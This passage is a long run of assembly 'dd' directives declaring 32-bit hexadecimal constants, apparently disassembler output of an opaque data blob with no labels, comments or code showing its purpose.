		dd 98899FD9h, 80EAA8F8h, 0B4204A81h, 0FC22F5B7h, 0C4C43096h
		dd 340095B7h, 4F05CEFAh, 7AB0E061h, 8575025Eh, 0E6261F31h
		dd 0B8E99604h, 2280C838h, 2B53E289h, 20F44F88h,	1D2D5D01h
		dd 3201F006h, 15D89BD5h, 0F3D216A8h, 74001B0h, 0EE56272Eh
		dd 985430E6h, 3371E7FCh, 0B0120514h, 0AF487C64h, 5D23810h
		dd 2823A352h, 0F040F0A2h, 108D42C9h, 985B0B65h,	3C0A327Ch
		dd 90A4C67Bh, 1D806427h, 0BF7627C7h, 0B0326294h, 246A38C3h
		dd 698EC8C9h, 87600498h, 7CB9957Ch, 6580A53Fh, 0A12F3328h
		dd 170096BAh, 9AE0527Ah, 277F82CBh, 782041E3h, 5F58CEC7h
		dd 0A6B75450h, 0A12A1701h, 756BF7BEh, 99C810EBh, 0ACC848Eh
		dd 0C9424E48h, 0FC3A0231h, 5594E82Bh, 0D92D00BAh, 4775CBB2h
		dd 0EC09C32Fh, 1CF61507h, 1C99DCh, 85455203h, 7C0F4E36h
		dd 20555BF6h, 8D976123h, 75A26A9h, 0E1321E88h, 44821808h
		dd 3BE741E9h, 847C5A7Bh, 0B022B058h, 8F4068B6h,	24151766h
		dd 22B1CE0h, 785AF57Bh,	0D002844h, 0DF84D067h, 0A151A22Fh
		dd 0FD120F38h, 0C4B64860h, 5CF182h, 7AF4EC4Dh, 0CC1807D8h
		dd 0C531C64Ah, 9624180Fh, 0CD7529EDh, 53B28E1Eh, 0C069A880h
		dd 91B3ADE3h, 84F1908Ch, 400802Dh, 15E4FA0Ch, 0CA36BCA0h
		dd 7432BE41h, 0BFE26B00h, 881B2A29h, 4CF00F00h,	0FE09ADD1h
		dd 0B7160223h, 73932574h, 8E12BC7Ah, 8888AB3Bh,	0C36900E8h
		dd 392B7BC1h, 961C6FFEh, 27E659A5h, 0D1521C01h,	1020E1BBh
		dd 0F34286A1h, 0B16C11h, 45EE24E1h, 198200Eh, 3A89E3C8h
		dd 8FCB567Bh, 2C0E1B8h,	6621504Dh, 0E021B59Ch, 0D1E631DDh
		dd 0A466DEBBh, 3DE3710Bh, 53A499B4h, 53A3840h, 0E93E005Dh
		dd 9BBAEE21h, 34BA6917h, 1A998721h, 30E031A2h, 9C003517h
		dd 0E226D2B1h, 5FE460Fh, 7EA653DDh, 2B943075h, 843B8B80h
		dd 4A1C06FDh, 9838365Ah, 771F1014h, 4CF457EDh, 886E217Ch
		dd 0BE918DD6h, 1FD83700h, 76FDAE3Dh, 23D55C00h,	8A17DA4h
		dd 0DC292D85h, 0FAC22C82h, 82130E01h, 806CA305h, 4B5D4CF1h
		dd 0CB4703E9h, 8BDAD598h, 4FEEB8C0h, 29F4E204h,	4CA773A9h
		dd 0DE00BA22h, 3DD6E5E1h, 44E301Dh, 0A5DF055h, 0CA8481BAh
		dd 880E0850h, 210A42D2h, 0E8DBCC6Bh, 8190110Bh,	9B4D7BE0h
		dd 9F24087Eh, 2FF92A81h, 0B6ED80B8h, 4C66AAECh,	3417C4F4h
		dd 0C97890C8h, 0A25331C3h, 8EC5109Ch, 97C3324h,	38B9F9E6h
		dd 0BB7B30E8h, 23DA9E00h, 6424104Ah, 5F970017h,	0D3F819ACh
		dd 8A09E1F3h, 0FAFBE285h, 59B61748h, 1A00BA93h,	79AA70A6h
		dd 757601D2h, 2E4E9F29h, 3B202465h, 92109B42h, 6A3E12EBh
		dd 54964892h, 0DD3D8068h, 0C7D070DFh, 2D7AB802h, 81917252h
		dd 0FC2C67E4h, 0EC7A3502h, 0DC904D5Ah, 1E5513EEh, 40ECDEDAh
		dd 5A7C73A0h, 2729AA6Fh, 302D880h, 0F63497E2h, 0DE8C42C4h
		dd 4F65C40h, 0C8A64114h, 916A21A0h, 27980AA7h, 23253CF9h
		dd 0B09F96F8h, 2D9D3C1Ah, 0E2E06BCBh, 24501CC8h, 645802B8h
		dd 3EA00F80h, 60E93AFDh, 5065504Ch, 0B695244Eh,	1C0670B4h
		dd 0C179CC16h, 0AEF8C31h, 54764512h, 0E020FC97h, 77079h
		dd 9BAE1E05h, 0DC15721Fh, 0A374195Ch, 0C8CA4FDh, 95A540EAh
		dd 0ABCD901Ch, 0A088DAh, 0B2A0A330h, 2C5EE0BEh,	0EDD979h
		dd 0DA953845h, 0D7132EDCh, 1437A7ADh, 6A1048A9h, 11D4B920h
		dd 0A96E2422h, 2300AD20h, 994A53D8h, 177C401Fh,	4125CC8h
		dd 0B9BB4798h, 666D2D44h, 7E40254h, 0FF355ADAh,	60621CE0h
		dd 8482549Ch, 0D9036C08h, 88B92E0h, 93626EC0h, 0C0085483h
		dd 5D86E026h, 9B1DE6F4h, 7DC2B2A2h, 740BBE24h, 0E464088h
		dd 0C4BC1679h, 52AC8240h, 0C9280A01h, 5AB4A58Fh, 0F041DD0Dh
		dd 730605A3h, 0EFBAA1Fh, 3F1B0059h, 0CA7AE521h,	32032DD1h
		dd 262473C7h, 0FF9FE851h
		dd 10C00A3Bh, 88C6CD3h,	5CAAB257h, 0A6714700h, 147436AAh
		dd 0DA900A3h, 7BABB002h, 510095E2h, 6B9A014Eh, 1ED496Fh
		dd 970D8021h, 7EA3BE89h, 0F4168853h, 0BC8030B2h, 245A3D8Eh
		dd 33CDCA00h, 0C66469ECh, 0ADE212F9h, 0DBF8C84Fh, 982DFC89h
		dd 0B1F0AC00h, 468D5514h, 0D4018212h, 0D62BE402h, 240E02FAh
		dd 0ACA8E812h, 5E0514C2h, 0F10192B4h, 858840BEh, 0D3C06848h
		dd 94485C8Ah, 0C3C05FCFh, 0C8E986Fh, 534E0CB8h,	2F3E9428h
		dd 10BBBB17h, 8F0771C8h, 49CB7D00h, 0E36E246Fh,	608B39BEh
		dd 0C612C058h, 0D1944597h, 1278CD47h, 24DEA1A8h, 11B12242h
		dd 9C02097Ah, 6E1C195Bh, 0C497CC49h, 8DE22730h,	0ECB2D810h
		dd 37513400h, 0A952C3BDh, 89F30211h, 9B593332h,	68F0145Ah
		dd 0B61B2388h, 0BCC85AFCh, 50901C72h, 88E2B700h, 0AA38FCA2h
		dd 214601EFh, 0EB4F04BEh, 8EF0E39Bh, 0D45C70CEh, 0C007774h
		dd 50A7765Dh, 0A041E122h, 0BC4F950h, 7C3A4072h,	69C5FD80h
		dd 6C5F8A4Ch, 780088h, 87BD21AFh, 0AB6BDD92h, 80D72F03h
		dd 0A05B9F28h, 7B716EBFh, 0D47A48E0h, 2D68B5CAh, 0E72B8CC4h
		dd 0F11F7C33h, 122C1925h, 25245F00h, 43963096h,	0FF3A6C90h
		dd 0ABF0382h, 11FE4002h, 67D57EF0h, 0F090A62Eh,	0C0302F51h
		dd 227F4255h, 6820E5DDh, 0FC29204Bh, 0F02722h, 6C89E0D2h
		dd 74D57AAh, 69E1A700h,	0A25DE80h, 9F0E0573h, 0CC78BE96h
		dd 394B97F8h, 2B4FF4D1h, 612AC86Ch, 4CF0453Ch, 0EAF6B2D0h
		dd 92A8F800h, 6529A39Dh, 51EC139Bh, 0A70D006h, 9875BF5Ah
		dd 26EBF909h, 0BAF88409h, 4C487858h, 936A853Fh,	0A83984ADh
		dd 18E0206Bh, 2A0A5FF8h, 0D845213Eh, 1052213Bh,	0A2D38481h
		dd 0F7319844h, 447710B0h, 0A5227058h, 6B83D800h, 7262FD39h
		dd 0CFDE1F6Ah, 0EF6401Bh, 0F4250757h, 0C2E3A806h, 5C68E58Dh
		dd 0E80F7C36h, 0B52A6B2h, 0F09AC104h, 0F750F054h, 0AF350FDCh
		dd 0FC0A629h, 0E073BECDh, 0D8D7BB0Ah, 5910F403h, 0FBC2D1C8h
		dd 4BC60B9h, 0E43D58FEh, 3064D8C4h, 0D0C124h, 0B975AB41h
		dd 67B05DE7h, 10F3F902h, 0A46579C5h, 0B845F530h, 2ACB287h
		dd 18B6959h, 0B7F868BCh, 609882B1h, 0DCE01F25h,	0A51D4138h
		dd 13041685h, 0E7BC253Eh, 2E7000Ch, 6B85A19Ch, 0C94508Bh
		dd 301D022Eh, 0AD82E249h, 0C713C41h, 0F50B4469h, 5008A088h
		dd 71E19B36h, 953E0003h, 0EE30DAA6h, 33E48A0Ch,	0C1E61F12h
		dd 4F275CBCh, 388484CAh, 3C74880Eh, 7E1FA9F2h, 642DE3AFh
		dd 7D1E1750h, 53DC3044h, 95508B84h, 5E020358h, 1BAA0F45h
		dd 0B46444h, 49384D56h,	0D2ABFCB3h, 7433BE12h, 8DFDA444h
		dd 0ECB1D722h, 5E0C7853h, 39ECCC8h, 309D174Bh, 80E109A1h
		dd 0F45DECCAh, 0E088BA00h, 2DD93229h, 2F1000Bh,	62F9F724h
		dd 0A5000F71h, 765E03Bh, 997BADD6h, 923190F4h, 898F30ACh
		dd 0D3E775C0h, 0DA00DBF7h, 0EFE36C05h, 0FA65E41h, 0E5B85C23h
		dd 3D6B6E40h, 109D7670h, 0EE4148h, 18A0B540h, 597C3CDCh
		dd 90DA302h, 49672762h,	0D02D93B4h, 1020F82Dh, 2902FF38h
		dd 0F1AB1300h, 2EBB5941h, 448B1C31h, 0C0569F0Bh, 6DD394D0h
		dd 0B9C53224h, 0A0A8C181h, 244E1049h, 0A01086B0h, 0B020265Ch
		dd 0BAD602h, 0C36CED27h, 0D01B9168h, 56056BFAh,	17AA509Dh
		dd 0A686D044h, 191214EDh, 0E0B60Bh, 9287A66h, 69D725h
		dd 7826DF07h, 38918A1Fh, 2DC7CF38h, 384429h, 0EA2A0C7Ah
		dd 0FB9825A0h, 2497F4A0h, 0B5339980h, 7AD2A820h, 4C260B75h
		dd 0FE405811h, 4BD96CDh, 0AAB6C15Fh, 8CE4D567h,	0D1129838h
		dd 34E5193Dh, 0D688306Fh, 9900A93Ah, 0E96B2A13h, 3DDBAD3Bh
		dd 4F8FC4CDh, 0F0F9CB42h, 224823F5h, 2B8640C0h,	5C002947h
		dd 560D73CCh, 3E4C12A5h, 0AA9C01E4h, 72A9FD9Ah,	9885B439h
		dd 849C25FFh, 0CC49804h, 4F2FDF88h, 6BCC21FEh, 6A884883h
		dd 0DDC1E401h, 0FBA584B3h, 0C6002472h, 9D463B55h, 8307E482h
		dd 40330D5Fh, 0C434C8DDh, 0CA8044A7h, 6A4A1B09h, 2CF4C437h
		dd 0E0600B6Dh, 7EAA3D8Fh, 10EA4200h, 0E24DDDDBh, 31D40259h
		dd 51F2DA1Fh, 3E8054D9h, 1CDCD7EAh, 1293D7Eh, 4CE70580h
		dd 9DFE9E60h, 8C191A04h, 0ECA486BEh, 8700B4F9h,	0F12EADBFh
		dd 0C0A96A15h, 0DD12A450h, 54A8CFE3h, 82FAA18h,	872CBE88h
		dd 9C68CCA7h, 0B28BD860h, 176C9C4Ch, 3CE42D1Fh,	6C318038h
		dd 52ABFDDCh, 86889432h, 12042389h, 0F9DC04CCh,	8AC4A825h
		dd 0FA50A41Ch, 28309D0Ah, 0DE0037E3h, 0B1A3C245h, 0DDFF67h
		dd 3A0BA28Eh, 579BA5EBh, 0F0B6F52Ah, 62387F00h,	795D4899h
		dd 373027B4h, 0E020C88Dh, 312FD977h, 7CC40A4Eh,	0FBDE7861h
		dd 97091C3Dh, 0B880ECE6h, 917E3B85h, 2A7263Eh, 2FE10BE3h
		dd 440CE656h, 0D0B849BCh, 4EC32A22h, 15C904Eh, 0A300F16Ah
		dd 3B27797Eh, 0DFFB86h,	9C4BD0CAh, 0E46B130Ch, 0CC8E9409h
		dd 5BBC444Ah, 19348C0Fh, 2D5C4D0Bh, 25C9FE74h, 2ED92C11h
		dd 2BCB838h, 5889B46Ah,	8C41C67Ah, 0E55C520Ah, 8006FD22h
		dd 0ADC4B47Ch, 8F82000Fh, 74C2CA6Ah, 2F1937ECh,	0B2E05A9Dh
		dd 0B758003Ah, 4EA8BB5h, 31323F00h, 216E45E6h, 419700F5h
		dd 0F39D4C6Ah, 0D12FCA0h, 3C09D1FFh, 72241235h,	1EDA00B4h
		dd 0DF0B48BBh, 9000BCBEh, 0FCF82677h, 4C7C69C7h, 0F92128CCh
		dd 90C0188h, 407A535Fh,	6ECF3A0Eh, 47F84115h, 0DADCFFEAh
		dd 6AECE0h, 7D518B1Eh, 727A8FE9h, 0AABDE10Bh, 0F887A40h
		dd 31ED4C30h, 0C1B29BC0h, 0A02E524Eh, 0E3845089h, 0BE08FC2Dh
		dd 0DB700C80h, 742EABCh, 32AF82D4h, 74C8018h, 3300F839h
		dd 1A7C61B9h, 69C2C6h, 0D4E1EA72h, 605C458Ch, 6D8EC409h
		dd 90C10BEBh, 0E73E10h,	0B08BA2D4h, 732DAAFh, 0A1D10402h
		dd 0D90579C4h, 0B32512A8h, 0B02717FCh, 80B2A048h, 508E8C3Bh
		dd 70B4ABC7h, 79CC3240h, 0F224A811h, 1CF9820Ah,	14FF2A1Dh
		dd 10F49C92h, 8216E662h, 0E01028A9h, 0E443C009h, 0C8F13Fh
		dd 3EE36988h, 88A0951Dh, 560790A9h, 45AF2A91h, 64889424h
		dd 9F6E001Eh, 58C6C4DDh, 0E30BD208h, 440231C3h,	31F74F4Ch
		dd 1EC4AE0h, 382F173Eh,	8D44AE88h, 4B425BEFh, 588484B4h
		dd 83FC806Bh, 941E7445h, 89C0D4A6h, 1F51F3BAh, 74A097DCh
		dd 853903D9h, 2C48A45Ch, 440910E7h, 4C44D09Bh, 5180EC94h
		dd 26B8AFF0h, 5A01D57Ah, 15973CD7h, 83E23DD3h, 4A65F44h
		dd 98993BD9h, 8ECB04B1h, 273A121Eh, 0F41CC4F4h,	6C018B98h
		dd 0C7ADD2FEh, 92035BBh, 37B8014Dh, 8AE4F380h, 4058A56Dh
		dd 20E84218h, 1A20F8AFh, 0C8B75F0Bh, 0CE00B174h, 0CFC6D954h
		dd 0B0ED8E18h, 0C9BD285Ch, 3FC50AB4h, 4080FEAEh, 0B05D0D46h
		dd 908D0925h, 3FC7922Ch, 2700D775h, 13215A8Bh, 930919E8h
		dd 0C6820191h, 18620384h, 0A2F6D54Bh, 25BF9200h, 6BB4B66Ah
		dd 4AC40765h, 0D0A1CE02h, 80DDBAC1h, 0BB449095h, 10D7C3Ch
		dd 0AF24928Ch, 81544DA5h, 31C498F9h, 1024CFAEh,	95017C2Dh
		dd 0A800A86Ch, 0E92CDA68h, 4454D0h, 2D49D779h, 0ADE4527Bh
		dd 0E022F75Ah, 581911D9h, 9C54FBD8h, 349145F8h,	0D0724000h
		dd 15921BAh, 3AFF9C2Bh,	0F2B03D3Ch, 0E189CC7Ch,	54109041h
		dd 4AFF0BA7h, 0CC00F570h, 5AE2962Dh, 49459201h,	0BE252846h
		dd 4E2C81A8h, 0DF8C2115h, 0AE30DCFEh, 500F8802h, 7139995Bh
		dd 32898330h, 45E7AFF2h
		dd 236CD050h, 50D29B27h, 0E70024F3h, 72FB6233h,	15F66C4Ah
		dd 4D17E01h, 8DED79C5h,	0B486408h, 0EA4CC180h, 0AC4C7587h
		dd 13ED09A4h, 0C85EC57Dh, 38A48052h, 16216F7Bh,	0D0F50B67h
		dd 0EEB94A28h, 0FE287200h, 0A87A46FDh, 0C6910039h, 0AFE58C0Ah
		dd 0FB12D993h, 0B02594F4h, 0FC009CADh, 1DF8C7BBh, 0ECF0F064h
		dd 0FD13B300h, 0B75DF945h, 0D53B0261h, 0CE2FE06Ch, 1020F4E6h
		dd 0D31E0182h, 0AB72C3ADh, 98A020E8h, 2275544h,	0ED8C1AA3h
		dd 0B440570Eh, 0AC90F78Dh, 289EB880h, 0E5B34D09h, 25FCD0F6h
		dd 28655362h, 0E7A4253Eh, 322500B0h, 8DD41B75h,	398880BBh
		dd 464258FAh, 0C0F84D6Fh, 5FE21BA8h, 9541E6E3h,	42014CAEh
		dd 0F45D51CFh, 0A800B83Eh, 0DB5C0167h, 22A2DCEh, 657BBA7Fh
		dd 5C5A3A0Fh, 0C2E22F00h, 0BE7EB53Ch, 0AC90B56Dh, 8B888E20h
		dd 97CA25CFh, 0D2025C64h, 4E6E31C8h, 2C5070D7h,	40381951h
		dd 0F656245Fh, 2E2C1097h, 2AF903BBh, 0DA36AC80h, 1FB476E8h
		dd 9B8A5100h, 0DB78A59Ch, 2240C02Bh, 97E2A6B3h,	88C8304Fh
		dd 906F2726h, 0A686A421h, 6C8A10E8h, 0FBA90034h, 21E3B9ECh
		dd 0B12E7642h, 6A81E498h, 41DBA54Dh, 724417Fh, 0C87CEEF4h
		dd 2600B430h, 0F8AA9C46h, 0CBF93Ch, 776D86AEh, 0FBB20D8Ah
		dd 1155F8C9h, 286B1BA0h, 0B93C99BCh, 52C89FE6h,	4F8CB080h
		dd 900EFED7h, 0CAE85FD0h, 8721ACh, 0CD9E89C9h, 45EC5FA5h
		dd 8D4C5801h, 80EBA76Bh, 0DE4FB0E0h, 0CE768C11h, 325C2329h
		dd 2C428AC4h, 0B6DCFF00h, 0E301CFh, 6E62D174h, 7FE021CCh
		dd 60051B09h, 10D96Bh, 0C0935239h, 7209BE74h, 66CDA29h
		dd 2CE06287h, 53981Ch, 0A75A95Ch, 0CD0029FDh, 0C763A86h
		dd 60B25F47h, 0EDF71936h, 8F161227h, 830780Fh, 0E4F561h
		dd 0EECA7079h, 71E5D6B6h, 91A20100h, 31C55E2Fh,	81065A05h
		dd 142D8DACh, 20074A2h,	38A9131Fh, 87004807h, 1BA5B1AFh
		dd 5BDC6B7h, 0C51FCADCh, 0A0CC1483h, 5595E781h,	0D302D2FBh
		dd 3B822FE9h, 0F8D04533h, 946B3E2Fh, 1DB316C8h,	3D55018Ah
		dd 0D579D9A0h, 8756202Bh, 3C182A0Eh, 74D5A91Ah,	0D8B60D4h
		dd 6DE81BE9h, 9C5820BAh, 92FE80ACh, 4C0489ECh, 3B00F4F8h
		dd 73EFAA87h, 7A07A0D6h, 1F82BB05h, 0D34C1BF0h,	0D828006Eh
		dd 91F4643Dh, 4201CB92h, 36FDE533h, 0DE20ED21h,	79460027h
		dd 0FF4B4C19h, 0C9379D18h, 4E834004h, 0F018DE82h, 9BC300ABh
		dd 6234459h, 0C90004BBh, 0E87CB826h, 6AB97FDh, 83413E79h
		dd 4C033044h, 6BA62791h, 0EA39C8B6h, 0C9BC0014h, 0BD81E81h
		dd 7B307A8Ch, 90A86161h, 7738C74Ah, 8AB520BBh, 0A901ADE3h
		dd 0A10908D3h, 20834C24h, 0F8479ACh, 2156B11Bh,	779DF819h
		dd 0AEC900A3h, 0D86E8DD7h, 0A51852D0h, 34D14D13h, 6A9100DCh
		dd 6F63E25Eh, 6407A77Ch, 4C5BD2BEh, 20F6F08Ch, 3F07FE4Ah
		dd 0E91C4D7Fh, 0A249D632h, 99C74084h, 0BC70F8B8h, 9B6406DBh
		dd 9901607Ch, 0CE788174h, 10F873Ah, 846E941Fh, 90915F6Ch
		dd 0F338004Bh, 8892569Ch, 62400068h, 0B40BBD7Fh, 705F790h
		dd 0ABA67E57h, 7D82B006h, 60BFA0E9h, 642301D8h,	0EC1D2690h
		dd 158916Bh, 0AE8E8500h, 373440CBh, 0E735C00h, 0BC7FD23h
		dd 0DF7C0F9Ch, 517982BCh, 86B8E3A7h, 42E4A4FBh,	695405B0h
		dd 7C0049CCh, 62DF16DAh, 584FBD66h, 730192E7h, 238CFAAEh
		dd 585FE4ABh, 5BCF31C0h, 0CCD03Bh, 645C0552h, 0F122CD5Ah
		dd 34E66300h, 780AAFE1h, 7A820CC7h, 0BB39AE84h,	6867D500h
		dd 3BFDAAA8h, 7B3C0007h, 0FE9D1B05h, 0D8D81A94h, 3B448CB8h
		dd 0EB8086D1h, 0FDA9B9D7h, 2300052Ah, 45491B78h, 141A395Bh
		dd 0C85FDFE4h, 6F8EDC80h, 840131A7h, 22571396h,	8044F6DDh
		dd 3C1031C3h, 76011229h, 5AF54FF3h, 53CBF89Dh, 0A9576030h
		dd 3E44487Bh, 0CF7A402h, 6CC4F815h, 0E9092D2Ch,	2028AEA0h
		dd 44C08514h, 1AB80E67h, 86E0EA81h, 0B0784DE3h,	8A6B2107h
		dd 0D352CF68h, 23D8410Eh, 521324C0h, 9F3DCC83h,	549ECF00h
		dd 3940F167h, 28DF7101h, 0E361AF1Ah, 1F31FD8h, 0F2F8ACA5h
		dd 244A10FAh, 0B8F2A900h, 0DC02BA07h, 0A400A103h, 0A5AC62h
		dd 0ECC36DAAh, 91EDE1EBh, 0CF90663h, 6B4087BEh,	1EC6342h
		dd 4E565249h, 2212AC1Ah, 0F981002Ch, 0D6CDEFF3h, 0D1D0053h
		dd 0DCE7AAC6h, 420CAFB9h, 502A0560h, 0B5FEF3h, 7D336C5Ah
		dd 4C681C30h, 0F67ACC02h, 40014EDEh, 124176E4h,	789F1F9h
		dd 358A49B8h, 94A04139h, 0CB1F6D60h, 6858F6A8h,	0B52E8912h
		dd 0D8498600h, 6E21E3Ch, 18EF9D5Ch, 6031A01Ch, 0DFE8D102h
		dd 26A70BC4h, 93880A82h, 0AF042014h, 10009D4Ah,	96D546Ch
		dd 9997B07h, 1903AC15h,	56049418h, 0EB001042h, 57DB8BE4h
		dd 8119C0F7h, 1118FCA0h, 87452C40h, 83600063h, 962F07D0h
		dd 0BF14BAFBh, 1088FF3Fh, 3720629Ah, 57DF4306h,	6148CAh
		dd 912386F2h, 0A18C4D8Ah, 8718889Ah, 0DF61E910h, 0EC430649h
		dd 0E85C33DEh, 988F883Bh, 20F9056Fh, 7C93E2h, 9C7C5475h
		dd 7A098822h, 0A148A10Fh, 4C69D98h, 0D08B2C40h,	0C1A890EAh
		dd 35DDE7A8h, 40A1F17Dh, 0D29BBF44h, 29803900h,	88486531h
		dd 68071CD7h, 71617D7Ah, 48741756h, 0E92C4D98h,	449204Ah
		dd 0F84206DCh, 48668D0Fh, 44CB5711h, 99471318h,	5A2C90C9h
		dd 6A01D5F9h, 27A1DCE6h, 12B85180h, 4677D428h, 0DD13AA00h
		dd 62480479h, 22F54CF0h, 4F18F100h, 6A4D0FABh, 340EE090h
		dd 13F91E90h, 8E049848h, 0FA411F2Dh, 809DAB3Dh,	18F822F1h
		dd 0F938DA1h, 92822E3Eh, 1E73040h, 1C1D3281h, 78AC4F72h
		dd 0F7D91060h, 3C3B0022h, 75F96505h, 0C060D487h, 96F3B5A4h
		dd 0FCA0056h, 9455C674h, 0AA18101Fh, 77117387h,	29B463AEh
		dd 59017C82h, 0FD9598BBh, 87C607B7h, 79D10FF8h,	0C1804F10h
		dd 936AD162h, 0DC380D40h, 5BFA8004h, 8F782F4h, 797430h
		dd 0BC0545B0h, 3B098541h, 4911C260h, 26F4B275h,	60744F87h
		dd 8BAF76ABh, 24009776h, 654EAAECh, 17185FB7h, 4504F311h
		dd 4B909410h, 50108398h, 0DD0042C2h, 0EA78A880h, 0B069146Dh
		dd 8545187Ch, 81BB6166h, 560054B9h, 3F51620h, 5A5324A6h
		dd 13F21DE2h, 0A804FA97h, 5DC104E0h, 5472C779h,	4A92C000h
		dd 0F0F5F28Ah, 838DFB00h, 1867EAC6h, 0BB0200B0h, 2627C73Eh
		dd 2324F031h, 5307340Dh, 797C256Bh, 0B9D614EBh,	3680E082h
		dd 0A16FE3DEh, 89154E03h, 93C9EDF5h, 21B9E061h,	6E2718FDh
		dd 268F489Bh, 24DD49h, 0AB1966EAh, 0C072B592h, 36BD80E0h
		dd 26022EEBh, 256F45Ch,	2F94A298h, 0B1FE277Fh, 8FF11F67h
		dd 37CB9C08h, 2985BC21h, 0F4E7AC11h, 8E26ADEAh,	0ED019C54h
		dd 31C7E3Ch, 880011E9h,	796081BAh, 50F1959h, 3E0A00A8h
		dd 4B8FB723h, 1A00C011h, 0E5ABC2ECh, 0B09FCE6h,	397E83C7h
		dd 8BBB405h, 214063B0h,	1FC0BD4h, 0A260CB25h, 3EDAF5E0h
		dd 286935A0h, 9684678h,	8EFB1119h, 81DA4C01h, 212FD097h
		dd 0B0E7062Ch, 24082300h, 0A4FD0FFFh, 213008C4h, 393D3DE3h
		dd 0BCA1A470h, 9A280D40h, 89E003Ch, 0E6A72597h,	9328AE16h
		dd 322084F7h, 0C89D1380h, 47602005h, 0C7140748h, 8888AA5Fh
		dd 58728045h, 0BD4777BBh, 0FBC8B200h, 5142D344h, 8FA13010h
		dd 639DC579h, 8C7B007h,	952711B5h, 0FD0A0CF3h, 242830D0h
		dd 0EFD80088h, 89AC1D90h
		dd 687D6BB9h, 0A5023FF4h, 0D02CC882h, 5AA460DCh, 674A04F2h
		dd 0A202BECAh, 71A330A8h, 95C7ACh, 2011D936h, 0AFF82FC0h
		dd 889B5626h, 2922A99Dh, 13CC7A46h, 79AA008Dh, 4824B75Ah
		dd 7B200161h, 0BB004AE8h, 8E0BB0C9h, 0BE93738h,	614C0058h
		dd 4CCFBE82h, 78225846h, 0A7E6DB00h, 0C89EF529h, 395D0F82h
		dd 0EE39097h, 0D880C763h, 29008122h, 0B9CB2F7Ah, 17AB4406h
		dd 40E28525h, 93D0BBD0h, 0E703D84Dh, 12389C6h, 0F181C18Ch
		dd 0F256022h, 40897820h, 0C000795Eh, 0C2FBB284h, 4FE743h
		dd 13BB873Dh, 2276B5E1h, 0DD7D46F2h, 0D010B8DEh, 847E870Ah
		dd 9851283Ch, 4664AD4h,	4B58BCh, 0D6CFF2DBh, 53E005Dh
		dd 0FA32367Fh, 0E20079EAh, 91825093h, 0A8AB601Eh, 0A8A5A898h
		dd 56AC8h, 0B9B211A6h, 0C8898108h, 8F583858h, 116F29A0h
		dd 0F1452DCh, 88F23FF0h, 6CB81440h, 839C3E0Ch, 12253170h
		dd 0C1EA4h, 2DAB7B9Bh, 0B1C05560h, 0A9AAEEDDh, 0B41D006Fh
		dd 0F796955Dh, 1B00C175h, 0E66D26ADh, 2B9F448h,	3107E7ABh
		dd 14604B4Eh, 0F0CB32Ah, 69492457h, 6A155840h, 9C4C700h
		dd 9835E24Bh, 8065CA00h, 7FBB6137h, 0C9201DA7h,	25F9402Ch
		dd 84CB2A0Ch, 70724E00h, 0B9977901h, 33A77CCh, 6BF7BCCAh
		dd 0B814C4Bh, 0D7FFCADh, 4BB88A8h, 878B9702h, 0A0F6CA9Ch
		dd 0F4F1D8F0h, 7FFF3C95h, 9F372D0Fh, 6ECD40FFh,	99C6315Fh
		dd 13FCE500h, 26CFACA3h, 71833127h, 0C0EC07C1h,	5400E98Ah
		dd 0FC373C9Fh, 4DA5268Dh, 7700B41Fh, 4471C5A8h,	0F5CAA58h
		dd 0B62481BCh, 5330485Ch, 9431039Bh, 1490DF53h,	0B7F01E09h
		dd 603C8202h, 58BCA06Ch, 38F436h, 0F931E390h, 7609453Eh
		dd 0B715071Dh, 12C68289h, 9148E8B0h, 871899B6h,	0C37D7B96h
		dd 4EC8E65Fh, 942C6B29h, 0CC265FD6h, 37A74382h,	2CD4E64Bh
		dd 0E3C2B33h, 0E583F477h, 10AA53A1h, 650078E4h,	756D4583h
		dd 26FBA36Bh, 60ECB9DDh, 0D1A4C614h, 175B482Eh,	9F5D000h
		dd 0EE37E618h, 91440123h, 1A9BB619h, 0C270716Ch, 3E2AE02Fh
		dd 19BB4F43h, 28888561h, 0A5F040CFh, 0B4918056h, 92CAAC83h
		dd 5A12A22Dh, 68951C28h, 761A430Eh, 2890D3Bh, 27B67069h
		dd 9C02BEFCh, 4DE114DFh, 118798Ch, 1A827FE7h, 9DA44029h
		dd 51C3F1F7h, 18368C4Eh, 0E17B8329h, 0E800A4C2h, 0D5959947h
		dd 1D93302h, 0FFBE72D0h, 20C719E1h, 0F006E8B8h,	7ED88659h
		dd 39CA0939h, 0D0802506h, 744A941Fh, 7AE9D602h,	46265605h
		dd 31FE1F90h, 904F1814h, 0DF8904CBh, 1D8D9CC0h,	5CAC2339h
		dd 0E36C2461h, 0F8927824h, 0B49068C4h, 0C4376C02h, 0E8607DF6h
		dd 6EFF88h, 3C27ABF4h, 7D796E5h, 24DBD625h, 0C05F4C38h
		dd 0C1F5D335h, 9F008850h, 42B8D7C7h, 1425EA5Bh,	0CC608D75h
		dd 0DB1C300Fh, 1122D640h, 460B4D89h, 2D7E88Ch, 48ED5DF2h
		dd 199E48Ch, 9C13F388h,	28D79F77h, 7F558394h, 906CB809h
		dd 0CE053EA8h, 0F5227D00h, 0A168C145h, 0F093C004h, 0A8C8950Fh
		dd 58FE7837h, 6085488Dh, 9EEC5E6Ah, 5FB200A6h, 6D81610Fh
		dd 521DE400h, 4E4F8864h, 0C2949EE9h, 98089C56h,	0B7366400h
		dd 2E4F3272h, 607028E9h, 3B92EDD7h, 4CA9E03Ch, 951300ADh
		dd 62B34C63h, 7DC57855h, 1AAE0481h, 0C0370A31h,	0D6674D6Ch
		dd 0F8070A90h, 0C4F12093h, 0B080F304h, 4BE940Ch, 7B825230h
		dd 61D100FFh, 0FECC4Eh,	0D5EE44B5h, 5E1F7337h, 436A4D0Fh
		dd 975A04ECh, 0AE9EDC80h, 0DF5F804Ah, 71F49100h, 7419B6D5h
		dd 0F1D603F6h, 0C5C6B18Bh, 8CF93804h, 74802A76h, 1E624093h
		dd 2E2919EAh, 8A4EE254h, 9403885Ah, 195A1638h, 0E063DB20h
		dd 722CFh, 0A0F6F9AEh, 95529A43h, 0CD45EA0Bh, 9E944953h
		dd 0E32C9110h, 0C103CCF0h, 0D9C043DBh, 579AB8BAh, 548D4C4Eh
		dd 0A2C59D85h, 1D9421E8h, 4070A4E7h, 0C73F7780h, 5641A094h
		dd 407272CBh, 0BB03447Dh, 0ECEFA929h, 0B01D29BAh, 14D01413h
		dd 87988Ah, 0A75F60F5h,	8295D975h, 0BC0F2E4Ah, 52BF2035h
		dd 6E3A16h, 0C7CC6D0Ch,	3E4858F5h, 1975500h, 0FE4418B1h
		dd 0C4267E6Bh, 0E27F46A9h, 14A90120h, 749F3A5Dh, 9C132830h
